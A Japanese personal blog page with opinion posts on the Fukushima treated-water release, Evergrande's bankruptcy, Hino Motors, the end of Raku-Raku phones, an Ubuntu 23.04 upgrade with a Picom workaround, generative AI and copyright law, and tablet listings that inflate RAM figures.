愚かにも程があるというものです。そもそもの話として、なぜ処理水の排出に反発が起きているのか、理解していないとしか思えません。根本的に、日本政府は信用されていないのです。中国や韓国は、日本は嘘つきだと考えているのです。なのに、信用を得るための努力を何一つすることなく、問題ないとの建前だけを繰り返し、自分勝手な都合だけを優先して、抗議も何もかもを無視して強行したのです。見限られて当然というものです。

東電・政府ら当事者は、処理水に含まれる放射性物質の割合が国際的な基準以下だ、だから放出は実質的(科学的)にも法的にも問題がないのだ、と繰り返しています。それはその通りでしょう。ただし、それは利害関係者以外の第三者の検証を経て、利害関係者、殊に不利益を受ける側から見ても客観的に信頼の出来る事実と認められる限りにおいての話です。

しかるに、本件の放出水について、その放射性物質を除去する装置を準備し、処理を行っているのは東電とその関係企業であり、その結果すなわち残留物質の成分・濃度等を検証しているのも東電もしくは日本政府の支配下にある機関です。第三者ではありません。粉飾はあまりに容易です。実際に粉飾が行われているか否かは関係ありません。監視・検証の結果問題ない、と言ってもそれは全て自己監査、自己弁護でしかない時点で無意味なのです。会社法でも、自己監査は許されておらず、監査対象たる業務に関係する者は監査役になる事は出来ませんし、その他の経営の監視を担う役職にはさらに厳密な社外性が要求されます。それと同じです。自社の業務・会計の監査を自社の人間が行い、全て適正と主張したところで、誰がそれを信じるというのでしょうか。融資も取引も即刻打ち切られるに決まっています。

その上、本件のような重度の汚染水から放射性物質を取り除く処理がこのような規模・期間に渡り継続的に実施された事例、すなわち実績は当然存在しません。技術的にも未熟で、信用がないのです。当然、除去の精度についても疑義がかかります。セシウムやストロンチウムが大量に放出されているのではないかと。放出が長期間続けば、その汚染は取り返しのつかないレベルになるのではないかと。それを否定する実績がない以上、当事者たる東電や日立等の技術担当にすら保証は不可能でしょう。

つまり、本当に放射性物質は除去されているのか、客観的に見て到底信頼出来る状況ではない。にも関わらず、その検証を行っているのは疑われている当事者自身。それでも国内ならまだ自国の政府・機関についてそれなりの情報があり、盲目的な信頼を寄せる向きもあるでしょうが、海外であればそれすらもない。犯罪の容疑者も同然と見なされているのです。もともと信用もない容疑者が無根拠に言う大丈夫、が信用されないのは当たり前の話です。 誰だって、それが嘘だとの前提に基づいて行動します。その結果が、禁輸措置であり、不買運動であり、抗議であるわけです。至極当然の結果という他はありません。

ついでに言えば、そもそもの話として、現在の状況を招いた原因が生じた時、すなわち原発がメルトダウンを起こした時点で、既にセシウムやストロンチウム等の放射性物質を陸上・海上問わず大量に撒き散らしてしまっています。日本は、放射性物質による汚染の前科があるのです。ただでさえ客観的な保証がないのに、前科者が、今度は大丈夫だから、等といくら主張したところで、信じてもらえる筈もないのです。

放出を止めない限り、禁輸等の措置は解除される筈もありません。そして、放出は少なくともこれから30年以上に渡り続きます。"処理水"が増え続けている事を考慮すれば、30年で済むわけはなく、半永久的に続くでしょう。つまり禁輸措置等は半永久的に解除されないでしょう。

このような状況で、何をどうすれば呑気に禁輸措置を解除しろ等と言えるのか。言うだけ言って、何もしない等という振る舞いに及べるのか。そもそも、放出の強行などできたのか。信じがたく、理解に苦しみます。状況を理解出来ないアホだから、以外に説明をつける事は困難とさえ思います。

元より信頼も信用も出来ないと知ってはいましたが、ここまでとは。愕然を通り越して絶望というのはこういう事を言うのだなと、思い知らされてしまったのです。もう駄目なのではこの政府。

8/18/2023

[biz] 恒大集団破産、遂に現実となった中国経済の破綻

とうとう、というべきか、ようやく、というべきか。

中国の不動産最大手の一角、恒大集団が米国(NY)で破産法第15条の申請を行い、破綻したそうです。ちなみに、15条は海外とも関連する企業の場合の条項です。資産流出・隠蔽の回避等のため、米国外の関連諸国と連携した措置が想定されています。と、それはともかく。

無論、そのインパクトは尋常なものではありません。中国のバブル経済の中核を担った同社の負債は公表されているだけでも数十兆円にも及び、非公表の実質的な債務はそれを遥かに超えると言われます。大国の破綻にも等しい規模です。

しかし、驚き等は全くありません。中国の不動産バブル、その象徴であった同社ですが、コロナ禍以前からバブル崩壊に伴い長らく経営危機にあった事もまた周知の事実であり、もはや破綻は時間の問題であると誰もが知っていたからです。

実際、コロナ禍以降、諸外国は中国から急速に資本を引き上げてもいました。それが中国のバブル経済を破綻させる最後のひと押しになった、というだけの事で、要するに同社の破綻、これに続くだろう中国経済の破綻は、諸外国が意図的に引き起こしたとも言えるものです。当事者がそのわかりきった結果に驚く筈もありません。

しかし、それでも。中国経済の破綻。言葉で言うのは簡単ですが、流石に戦慄を禁じえません。それが、いつか来る不可避の未来として語られ始めたのは、北京五輪の招致決定の頃だったでしょうか。それから、明らかにバブルと分かる不動産を中心にした、実体と乖離した金融市場の膨張、それはバブルである以上破綻が避けられないものであり、しかも中国政府の強力な統制に基づくものであるために、限界までその破綻を回避し続け、際限なく膨張を続ける結果、その破綻はかつての日本のそれを遥かに超える程の破滅をもたらすだろう事も明らかでした。どうするのだろう、とその未来に恐怖しつつ、中国なら力技で抑え込んで見せるのではないか、と期待する向きも多かったように思います。

しかし、そんなうまい話はありませんでした。中国政府は、何ら実質的な手立てを用いる事もなく、ただひたすらに表面的な粉飾だけを続け、膨張と崩壊が同居する奇妙な状況を放置、いや実質的にはむしろ保護して育て続けました。そして、ついにその破綻を現実のものとして口に出す時が来てしまったのです。

この崩壊がどういう経過を辿り、どのような結末に辿り着くのか、 それは誰にもわかりません。追い詰められた独裁者、特に全体主義国家の支配者は、しばしば常軌を逸した破滅的な振る舞いに及ぶ事があります。少なくとも、常識的かつ倫理的な方向の打開策のみに自らを律するだろうと期待する事は出来ません。戦争特需等に非現実的な活路を求めて台湾侵攻に及び、米国を巻き込んだ大戦が起きる可能性すら、ありえないと否定する事は困難です。

もはや破綻を回避する術はなく、その影響を遮断する事も不可能です。日本を含む諸外国も、経済的な被害はもう避けられません。今更中国から資本を引き上げようにも実際無理でしょうし。せめて、物理的・人的な被害が我々には及ばないよう、及んでも軽微で済むよう、願うばかりです。

China’s Evergrande files for bankruptcy

5/31/2023

[biz] 日野自動車がトヨタ離脱、三菱ふそうに吸収

日野自動車がトヨタから見捨てられたとか。現実は非情です。

エンジンの型式指定取得に際しての検査不正が発覚、多数のエンジンについて型式指定が取り消され、複数車種につき事実上販売が不可能になってしまっていた日野自動車ですが、トヨタグループから切り離される事になってしまいました。

分離後は三菱ふそうと一緒になるんだそうで。状況から言って、事実上の三菱ふそうによる日野自動車の吸収になる事は明白です。不正発覚前なら想像も出来なかったような話ですね。

問題の型式指定については、その後主力の大型車関連につき再申請を行い、販売再開にこぎつけた車種も出ていたのですが、23年4月時点でまだ以前の1/4は販売出来ない状態だったそうです。完全な回復まではまだ時間がかかる事は明らかでしたが、それを待つ余裕はない、という事だったのでしょう。

それも当然というか、商用車なのだから、当然顧客は事業者なわけで、事業上必要な時に供給出来ないメーカーからは当然顧客は離れるでしょうし、さらに一度離れた顧客が戻ってくることもほぼ無いでしょう。結局のところ、信用を失ったメーカーは顧客に見放される、というだけの事です。そして、そんな状況に陥った日野自動車には、もはや自力で事業を維持出来る見込みが十分持てなかったという事なのでしょう。元々単価が高い一方で顧客数は少ない業界ですからね。リプレースのサイクルも長めですし。

それにしても、相手が三菱ふそうですか・・・。大半の人がそうでしょうけど、どうしても不祥事がちらつきます。4社しかない国内大型トラック業界内の序列的にも下位なのだし、負け組連合な感は否めません。それでも台数で言えばこれから首位になるんでしょうけど、信用とか企業としての評価は最低、ですか。どうなるのやら。

もっとも、まだ三菱ふそうの親会社であるところのダイムラーとトヨタを含む4社間で覚書を交わした段階で、時期等の具体的な条件はこれから決めるという話ですから、二転三転するかもしれませんけどね。内外の反発も半端ではないでしょうし。

[biz] 日野自動車、全車販売不能・・・まさか廃業? 

[biz] らくらくホン消滅

だそうで。南無。

シニア向けフィーチャーフォンの先駆けとしてかつて富士通から発売されたらくらくホンですが、その後のフィーチャーフォン自体の消滅に伴うスマホへの移行を経て、海外メーカーによる国産スマホメーカーの駆逐に伴い著しい不採算に陥り、テレビ関連事業等と同様、あえなく富士通から分離売却されていました。

事業売却の前後を通じて、ドコモ及びau向けに端末を供給し続けてはいたものの、その後も皆無に等しいブランド力から予想された通り事業規模が縮小していました。そしてついに事業会社であるところのFCNT株式会社が、中間持株会社のREINOWAホールディングスおよび端末製造を担う兄弟会社ジャパン・イーエム・ソリューションズと共に民事再生を申請するに至ったわけです。

なんだかんだで発売から20年以上。大きな文字とアイコンを基本にした見やすいUIを採用し、あえて機能を限定して操作性及び可用性を上げるその設計思想はフィーチャーフォンの一つの到達点であった事は間違いありません。しかし、基本メールと通話だけできればよかった時代が遠く過ぎ去り、たとえシニアであってもキャッシュレス決済や各種SNS等、人それぞれに多種多様な機能の利用がなされ、しかもそれらが頻繁に入れ替わるような現状にあっては、その方法では広く利用者のニーズに応える事は困難というより不可能になっていた事は明白でした。

一方で、らくらくホン等で採用されたものと類似のUIはandroid系のスマホの一部では一つのモードとして採用されており、望む人はそれに切り替えれば良い、という形に落ち着いたようです。いつまで残るのかも怪しいですが、もはやそちら方面のニーズにはそれで十分なのでしょう。その意味で、ハードウェアとしてのらくらくホンは既に使命を終えたと言えるでしょう。端末事業については事業の引き取り手も今の所ない模様ですし、本当に終わりという事になりそうです。どれくらい残っていたのかも不明ですが、もしいたなら、開発者の方々にはお疲れ様でした。

なお、今回破綻したFCNTでは、かつて富士通で製造されていた他の携帯端末事業も引き継いでおり、その中には当然通常のスマホブランドであるところのArrowsも含まれていましたが、こちらも同じく終了という事になります。また、富士通時代の末期には一足先に見切りを付けた東芝から携帯端末事業(REGZA phone等)を引き継いでもいましたが、これも同じく終了。東芝から富士通への売却がされた当時は、むしろこんなに長引くとは思いませんでした。当たり前ですが、事業を終わらせるのも大変だという事ですね。

ところで、FCNTの持株会社のREINOWAホールディングス以下が倒産したわけですけれども、そのさらに親会社のポラリスについてはどうなんでしょうか。結構な損失を被っている筈なんですが・・・。REINOWA近辺については全然情報がなくて、どれくらいの影響があるのかよくわからないんですよね。

周辺の情報から推測すると、まず富士通からポラリスへの売却額は譲渡した70%持分に対して当時300億とか言われていて、その後全株式売却もしたので総額はおよそ450億程度で、その株が全部0になった筈です。一方ポラリス傘下のファンドの総額は公式HPで見る分には1900億とかなので、FCNT関連は少なく見積もって1/4位の比率があった筈なのです。そんなに吹っ飛んでも大丈夫なものなのでしょうか。さて。

5/14/2023

[note] Ubuntu23.04にアップグレード

半年に1度のUbuntu更新の時期がやってきました。

今回のバージョンは23.04でコードネームLunar Lobster、月のロブスターさんです。いつものようにupdate-managerから。今回からインストーラ等がsnapパッケージ化された新バージョンに変更されているそうですが、アップグレードについては関係ないらしく、特に変更もなく、もちろん問題もありません。いつものように待つこと数時間、特にエラーもなく終了。

問題らしい問題はただ一点だけ、初回ログイン時にPicom(Xコンポジター)がクラッシュした旨エラーが表示された位でした。何かゴミが残ったんでしょうか?それ以外は特に問題なし。日本語入力も問題なし。一番気になっていたところの、22.10で悩まされていたサウンド関連の問題も、とりあえず解消されたっぽいです。一安心ですね。

<関連記事>

[note] Ubuntu22.10へのアップグレードでオーディオの不具合に遭遇

<追記>

Picomのクラッシュメッセージはその後も毎回表示されます。軽く調べたところでは、同様の事象が複数報告されていて、既にバグ認定もされており、現在対処中だそうです。やれやれ。

<さらに追記>

Picomのクラッシュメッセージが鬱陶しいので対処しました。公式はいつものように次バージョンまで放置を決め込んでいる模様ですし。

そもそもPicomとはなんぞや、というと、ウィンドウの透過等のエフェクト類を処理するcompositorで、要するに見た目部分の処理モジュールです。もともとLubuntuを使用していて余計な処理は減らしたい身としてはこの手のモジュールは一利もなしなので、無効化してしまう事にしました。

修正点は2点。 

1点目はメニューから。[設定]-[LXQt設定]-[セッション]でLXQtセッションの設定ウィンドウを開き、[基本設定]中の[LXQtモジュール]の中から[Picom (Xコンポジター)]のチェックを外し、さらに[停止]ボタンも押して止めます。

2点目はコンソールから。autostartに移動します。

$ cd /etc/xdg/xdg-Lubuntu/autostart/

このフォルダ中にあるlxqt-picom.desktopをpicom.desktopにリネーム。

$ sudo mv lxqt-picom.desktop picom.desktop

以上の後、再起動すればクラッシュメッセージは出なくなりました。なお、1点目の変更のみ行い、2点目のリネームをしない場合も試してみましたが、その場合もクラッシュメッセージは出たので、単純に多重起動でバッティングしているとかいう訳ではないようです。 なんなんでしょうね。

ともあれ、この件はこれでおしまい。やれやれです。

5/13/2023

[law] 生成系AIに手を出す前に

 AI関連が色々騒がしいこの頃ですが。法の統制が追いつくはずもなく、無秩序に拡大する利用に一旦ストップがかかる流れになったようですね。

Chat-GPTにしろ、各種の画像生成ツールにしろ、法的な面は無論、実用上も問題だらけの現状では致し方ないところというべきでしょうか。

一般にこの文脈でAIと呼ばれるプログラムは、その全てが機械学習に基づくものです。数理モデルと学習データ及びその学習方式(数理モデルのパラメータ決定方法)の組み合わせからなるという事ですが、情報量的に見て出力されるデータに対しモデルの構造や学習方式の影響する割合は相対的に小さく、実質的な情報の大部分は基本的に学習データに依存します。それこそが最近の生成系AIの特性であるところの多様で情報量の多い出力を裏付けているのです。当然ながら、旧来の、構造が固定された比較的少数のパラメータをフィッティングさせるようなモデルを用いるものは含まれません。

そのため、学習データが正しければ、その出力も原則として正しいものである可能性は高くなりますが、逆に学習データに抜けや誤りがあれば、出力にもそれが反映されてしまいます。学習データ内に矛盾があれば、その出力も矛盾に満ちたものになるわけです。

また、学習データに個人情報や機密情報等、センシティブな情報が含まれる場合も、出力にそれらの情報が含まれてしまいます。これを避けるためには学習データとその出力プログラムの双方で正確に区別・管理出来るような仕組みを導入しておかなければなりませんが、その実現は容易ではないでしょう。膨大な学習データを全て人力でチェックしてマーキング等をしなければなりませんし、そんな手間をかけるだけのメリットを見出す事は難しいでしょう。かと言ってその手間を惜しめば、あっという間に情報漏洩で大損害、に留まらず、法的にも個人情報保護法違反やら不正競争防止法違反やらに問われてしまうだろうわけです。

画像生成等についても同様ですが、この場合にはさらに厄介な問題が生じます。著作権です。画像生成の場合、学習データは既存の画像という事になりますが、著作権者が放棄した、というのでもない限り、それらの画像には原則として著作権が付随しています。

言うまでもない事ですが、日本国内の著作権法においては、著作権者以外による著作物の扱いには様々な制限がかかります。もちろん著作権法上では生成AIに関して直接の規定はまだ存在しませんし、判例もありませんが、だからと言って著作権法の適用外になるわけもありません。いずれ訴訟も起こるでしょうし、法改正もなされるでしょうけれども、その時になって巨額の賠償責任を負うことのないように備えておく必要はあるでしょう。

例として、画像生成の場合について考えてみます。画像生成AIで生成されるものは画像データです。その点で、著作権法上では"絵画、版画、彫刻その他の美術の著作物"か、"写真の著作物"(著作権法10条4,8)に準じて扱われるべきものです。そして、出力される画像は、学習データに用いた画像を変形・翻案したものと言えるでしょう。すなわち、学習データ画像の二次著作物に準じて扱うべきものと言えるだろうわけです。

であれば、まず前提として、原著作権すなわち学習データ画像の著作権は出力画像に及んでいる事になります。従って、学習データ画像の著作権者の同意がない限り、複製や公表等は出来ない事になるわけです。同意のないままそれらの公表・頒布等を行えば、著作権法違反にあたるものとして扱われる可能性が極めて高いと言えるでしょう。

また、原著作権者には、同一性保持権(著作権法20条)が認められています。そもそも同意なしの改変・翻案等は許されていません。つまり、学習データ画像の著作権者の同意なく画像生成を行った時点で著作権法違反にあたる可能性がある、と言えるわけです。なお、AIに学習データを入力する事自体は、技術開発や情報解析として認められており問題ありません。(著作権法30条の4)画像が生成・出力された場合にその著作権が問題になるという事です。

ところで、私的利用ならいいのでしょうか?私的利用の場合は一般に複製権(著作権法30条)、すなわち著作権者の許可なく複製する事が認められていますが、翻案や改変については認められてはいません。実際、ゲームの改造等で私的利用のために改変等をした場合に違法と認められたケースもありますし、私的な作業であっても違法のおそれがないとは言えないでしょう。ただ、実際には複製に準じて問題なしとされる事の方が多いだろうとは思われますが。

斯様に、画像生成一つとっても、少し考えただけで様々な違法の恐れがあるわけです。文章や映像、プログラム等その他のメディアもおよそ殆どが生成AIの対象に含まれていますが、それぞれに同様の、あるいは特有の問題が山積みになっています。結局のところ、安易に手を出していいものではありません。少なくとも金銭のやりとりが絡むような場面ではとても危なくて使えないでしょう。モラルの問題ではなく、法的なリスクの観点から、一旦ストップがかかるのも致し方なし、と言わざるを得ないのではないでしょうか。

5/11/2023

[note] androidタブレットのメモリ容量詐称急増にうんざり

世間的にはオワコン扱いなタブレットですが。個人的には、比較的安価な、主に中華製のAndroidタブレットを長らく愛用していまして。これが、大体2〜3年程度で高確率でバッテリーが膨張するかヘタるかするので、結構頻繁に買い替えが必要になるのです。なのでそれに備えて、定期的にその主たる購入窓口になっているAmazonで現行機種について価格等をチェックしているのですけれども。なんか最近、メモリ容量を水増し表示する業者が激増してるんですね。これがとても迷惑です。

どういう事かというと、まず前提として、タブレットに限らず計算機には1次記憶すなわち揮発性の読み書きが高速なRAM(DRAMやSRAM)と、2次記憶すなわち不揮発性のストレージ(SSDやHDD)がデータを記憶する装置として備えられています。で、計算機のスペックを表示する際には、通常1次記憶のDRAM容量とストレージ容量を区別し、それぞれの容量を併記する方式が標準とされています。この内、アプリ実行時に問題になるのは基本的に前者のDRAM容量の部分なので、こちらの数字がタブレットの仕様として最も重要な点にあたり、従ってチェックの際にはこれを主に見るわけです。何GB未満は足切り、とかそんな感じで。多い方がいい事は言うまでもありません。

例: DRAM4GB,SSD64GBの場合は、4GB+64GB や 4GB RAM + 64GB ROM等 

※なお、SSD等もRAMですから、ROM(Read Only Memory)表示は誤りなのですが、2次記憶媒体を示す表示としてよく使われてしまっています。まあ分かるから別にいいじゃないかという事なんでしょうけれど、困ったものですね。

なのですが、最近になって、実装されているDRAMの容量より大きい容量を表示、記載する品が激増しているのです。本来4GBなのに8GBとしていたり、8GBなのに14GBと表示するだとかです。

これはどういう事かというと、仮想メモリを使っているのですね。この記事を読みに来ているような人には説明不要でしょうけれども、仮想メモリというのは、プログラムの実行の際にメモリ容量が足りなくなった場合に2次記憶の領域(の一部)を1次記憶として使うものです。swapも仮想メモリの一種ですね。元々メモリが少なかった時代にプログラムが1次記憶に入り切らないような事態になっても破綻しないようにするための苦肉の策として導入された機能ですが、メモリ容量が何桁も増えた今になっても、それと競うように肥大化したプログラムに対するフェイルセーフ的な意味で生き残っているものです。

当然ながら、DRAMと仮想メモリの割当先であるフラッシュメモリとではその読み書きのスピードは桁違いに違います。とても同じように扱えるものではありません。用途にもよりますが、大抵の場合、仮想メモリ領域を使用するようになった途端、ほとんどフリーズする状態になってしまうでしょう。同一視など狂気の沙汰です。仮にそのつもりで使えば地獄を見るでしょう。つまり、仮想メモリをメモリ容量に加えてはいけないのです。少なくとも端末の性能表示としては虚偽表示にあたります。

加えて、仮想メモリとしてSSDを使用すれば、当然膨大なデータの書き込み負荷がSSDにかかります。言うまでもなく、SSDは書き込み回数に制限があります。数万回以上の書き換えに耐え得るSLCならまだしも、現在の主流はMLCですらないTLCで、下手すればQLCやそれ以上の、耐久性が著しく低い構造のフラッシュメモリが使われている事も珍しくありません。安価な中華タブのSSDに耐性の高いものが使われているわけはなく、書き換え耐性は1セル当たり概ね千回程度でしょう。その上PCに搭載されているものに比べてタブレットのSSDは容量にあまり余裕がない事が多く、数十GBの空き容量がせいぜいでしょうし、実質的な書き換え容量は10TBWにも満たない事が多いのではないでしょうか。そうと仮定すれば、毎日数GB程度仮想メモリ領域が使用されただけで、3年もすればそれだけでSSDが壊れてしまう事になります。つまり、タブレットの寿命が著しく縮まってしまうのです。

つまるところ、仮想メモリを有効にして販売する事は、処理性能面と耐用年数面の両方で優良誤認を惹起する違法なものと言わざるを得ないのです。禁止されるべきです。今すぐ。

仮想メモリの性質を理解している人なら分かるからいい、というものでもありません。実メモリのサイズを逐一確認しなければならないのは極めて面倒で、手間もストレスもかかります。 只でさえAmazonの検索画面は見づらいのに、そんな事までやってられませんよ。正直見る気が失せます。Amazonには一刻も早い対処を求める次第です。まあしばらくは買い換える予定はないので、次にタブレットが壊れるまでにしてもらえればいいんですけれども。

ちなみに、本記事を書くに際して、Amazonでの検索結果を集計してみました。検索ワードは"Android タブレット"で、ソート方法は標準の"おすすめ"、でブラウザのCookie等はクリア済で検索しました。

結果、検索結果に表示された48件の内、商品の見出しとサムネ画像のいずれかで仮想メモリをメモリ容量に加えて表示していたものは16件、全体の1/3にも上っていました。 さらに16件の内、メモリの内訳すなわちDDRメモリの容量と仮想メモリの部分の容量を表記していたものは5件に過ぎませんでした。残りの11件は、仮想メモリを容量に入れている事すら隠していたのです。1件を除き、各商品の本文(商品の説明)中には流石に内訳の記載がありましたが、そこまで確認する人はどれくらいいるのでしょう?

なお、16件の販売業者名と件数の内訳は以下の通りです。 見事に全部中華系です。公式っぽい名前のセラーもいますね。中華タブなので当然ではあるのですが、やはり中華業者にモラルを期待する方が馬鹿だと言うことなのでしょう。今更な話ですが、残念です。速やかに排除される事を願います。

Teclast Authorized Store  3件

Mobile Global JP 2件

Headwolf Official Store 1件

Bvhandy-JP 1件

Blackview日本公式ショップ 5件

OSphone shop-JP 1件

Nanma Direct 1件

Tbshop-JP 2件

[note] AmazonのPrime Dayが普段の価格とほぼ同じっていうよく知られた話